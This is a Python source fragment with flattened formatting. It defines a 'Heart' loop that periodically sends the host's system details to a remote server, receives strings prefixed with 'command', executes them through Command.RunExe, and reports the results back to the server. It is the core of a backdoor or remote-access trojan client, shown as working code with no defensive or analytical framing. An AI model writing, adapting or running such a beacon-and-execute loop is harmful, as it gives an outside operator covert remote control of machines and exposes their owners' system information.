def Heart(): magicNumber = RandomMagicString() while True: sysInfoDict = SystemInfo.SystemDetail() params = urllib.parse.urlencode(sysInfoDict) url = 'http://' + IPAdress + ':' + str( Port) + "/heart?%s" % params + "&magicnumber=" + magicNumber #print(url) f = urllib.request.urlopen(url) returnMessage = f.read().decode('utf-8') if returnMessage == 'true': pass elif returnMessage.startswith('command'): print(returnMessage[7:]) result = Command.RunExe(returnMessage[7:]) url = 'http://' + IPAdress + ':' + str( Port) + "/commandresult?result=" + str( result) + "&magicnumber=" + str(magicNumber) f = urllib.request.urlopen(url) returnMessage = f.read().decode('utf-8') print("commandresult" + returnMessage) time.sleep(Interval)